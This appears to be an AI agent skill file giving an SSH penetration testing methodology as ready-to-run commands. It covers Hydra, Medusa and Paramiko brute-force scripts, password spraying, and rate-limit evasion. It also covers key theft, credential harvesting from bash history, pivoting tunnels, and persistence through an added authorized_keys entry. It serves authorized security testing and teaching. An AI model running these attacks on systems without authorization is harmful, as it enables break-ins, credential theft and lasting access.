ssh-penetration-testing

---
name: ssh-penetration-testing
description: This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
metadata:
  author: zebbern
  version: "1.1"
---

# SSH Penetration Testing

## Purpose

Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.

## Prerequisites

### Required Tools
- Nmap with SSH scripts
- Hydra or Medusa for brute-forcing
- ssh-audit for configuration analysis
- Metasploit Framework
- Python with Paramiko library

### Required Knowledge
- SSH protocol fundamentals
- Public/private key authentication
- Port forwarding concepts
- Linux command-line proficiency

## Outputs and Deliverables

1. **SSH Enumeration Report** - Versions, algorithms, configurations
2. **Credential Assessment** - Weak passwords, default credentials
3. **Vulnerability Assessment** - Known CVEs, misconfigurations
4. **Tunnel Documentation** - Port forwarding configurations

## Core Workflow

### Phase 1: SSH Service Discovery

Identify SSH services on target networks:

```bash
# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open

# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100

# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh

# Service version detection
nmap -sV -p 22 192.168.1.100
```

### Phase 2: SSH Enumeration

Gather detailed information about SSH services:

```bash
# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5

# Telnet banner grab
telnet 192.168.1.100 22

# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100

# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
```

### Phase 3: SSH Configuration Auditing

Identify weak configurations:

```bash
# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100

# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100

# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions
```

Key configuration weaknesses to identify:
- Weak key exchange algorithms (diffie-hellman-group1-sha1)
- Weak ciphers (arcfour, 3des-cbc)
- Weak MACs (hmac-md5, hmac-sha1-96)
- Deprecated protocol versions

### Phase 4: Credential Attacks

#### Brute-Force with Hydra

```bash
# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100

# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100

# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
```

#### Brute-Force with Medusa

```bash
# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh

# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh

# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
```

#### Password Spraying

```bash
# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100

# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
    hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
```

### Phase 5: Key-Based Authentication Testing

Test for weak or exposed keys:

```bash
# Attempt login with found private key
ssh -i id_rsa user@192.168.1.100

# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100

# Force password authentication
ssh -o PreferredAuthentications=password user@192.168.1.100

# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
    ssh -i "$key" user@192.168.1.100
done
```

Check for exposed keys:

```bash
# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/

# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
```

### Phase 6: Vulnerability Exploitation

Search for known vulnerabilities:

```bash
# Search for exploits
searchsploit openssh
searchsploit openssh 7.2

# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow

# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run

# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run
```

### Phase 7: SSH Tunneling and Port Forwarding

#### Local Port Forwarding

Forward local port to remote service:

```bash
# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server

# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
# Now access http://localhost:8080

# Access internal database
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100

# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
```

#### Remote Port Forwarding

Expose local service to remote network:

```bash
# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server

# Expose local web server to remote
ssh -R 8080:localhost:80 user@192.168.1.100
# Remote can access via localhost:8080

# Reverse shell callback
ssh -R 4444:localhost:4444 user@192.168.1.100
```

#### Dynamic Port Forwarding (SOCKS Proxy)

Create SOCKS proxy for network pivoting:

```bash
# Create SOCKS proxy on local port 1080
ssh -D 1080 user@192.168.1.100

# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24

# Browser configuration
# Set SOCKS proxy to localhost:1080
```

#### ProxyJump (Jump Hosts)

Chain through multiple SSH servers:

```bash
# Jump through intermediate host
ssh -J user1@jump_host user2@target_host

# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target

# With SSH config
# ~/.ssh/config
Host target
    HostName 192.168.2.50
    User admin
    ProxyJump user@192.168.1.100
```

### Phase 8: Post-Exploitation

Activities after gaining SSH access:

```bash
# Check sudo privileges
sudo -l

# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Check SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys

# Add persistence (add your key)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

# Extract SSH configuration
cat /etc/ssh/sshd_config

# Find other users
cat /etc/passwd | grep -v nologin
ls /home/

# History for credentials
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass
```

### Phase 9: Custom SSH Scripts with Paramiko

Python-based SSH automation:

```python
#!/usr/bin/env python3
import paramiko
import sys

def ssh_connect(host, username, password):
    """Attempt SSH connection with credentials"""
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        client.connect(host, username=username, password=password, timeout=5)
        print(f"[+] Success: {username}:{password}")
        return client
    except paramiko.AuthenticationException:
        print(f"[-] Failed: {username}:{password}")
        return None
    except Exception as e:
        print(f"[!] Error: {e}")
        return None

def execute_command(client, command):
    """Execute command via SSH"""
    stdin, stdout, stderr = client.exec_command(command)
    output = stdout.read().decode()
    errors = stderr.read().decode()
    return output, errors

def ssh_brute_force(host, username, wordlist):
    """Brute-force SSH with wordlist"""
    with open(wordlist, 'r') as f:
        passwords = f.read().splitlines()
    
    for password in passwords:
        client = ssh_connect(host, username, password.strip())
        if client:
            # Run post-exploitation commands
            output, _ = execute_command(client, 'id; uname -a')
            print(output)
            client.close()
            return True
    return False

# Usage
if __name__ == "__main__":
    target = "192.168.1.100"
    user = "admin"
    
    # Single credential test
    client = ssh_connect(target, user, "password123")
    if client:
        output, _ = execute_command(client, "ls -la")
        print(output)
        client.close()
```

### Phase 10: Metasploit SSH Modules

Use Metasploit for comprehensive SSH testing:

```bash
# Start Metasploit
msfconsole

# SSH Version Scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

# SSH Login Brute-Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run

# SSH Key Login
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run

# Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run

# Post-exploitation with SSH session
sessions -i 1
```

## Quick Reference

### SSH Enumeration Commands

| Command | Purpose |
|---------|---------|
| `nc <host> 22` | Banner grabbing |
| `ssh-audit <host>` | Configuration audit |
| `nmap --script ssh*` | SSH NSE scripts |
| `searchsploit openssh` | Find exploits |

### Brute-Force Options

| Tool | Command |
|------|---------|
| Hydra | `hydra -l user -P pass.txt ssh://host` |
| Medusa | `medusa -h host -u user -P pass.txt -M ssh` |
| Ncrack | `ncrack -p 22 --user admin -P pass.txt host` |
| Metasploit | `use auxiliary/scanner/ssh/ssh_login` |

### Port Forwarding Types

| Type | Command | Use Case |
|------|---------|----------|
| Local | `-L 8080:target:80` | Access remote services locally |
| Remote | `-R 8080:localhost:80` | Expose local services remotely |
| Dynamic | `-D 1080` | SOCKS proxy for pivoting |

### Common SSH Ports

| Port | Description |
|------|-------------|
| 22 | Default SSH |
| 2222 | Common alternate |
| 22222 | Another alternate |
| 830 | NETCONF over SSH |

## Constraints and Limitations

### Legal Considerations
- Always obtain written authorization
- Brute-forcing may violate ToS
- Document all testing activities

### Technical Limitations
- Rate limiting may block attacks
- Fail2ban or similar may ban IPs
- Key-based auth prevents password attacks
- Two-factor authentication adds complexity

### Evasion Techniques
- Use slow brute-force: `-t 1 -w 5`
- Distribute attacks across IPs
- Use timing-based enumeration carefully
- Respect lockout thresholds

## Troubleshooting

| Issue | Solutions |
|-------|-----------|
| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |
| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |
| Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |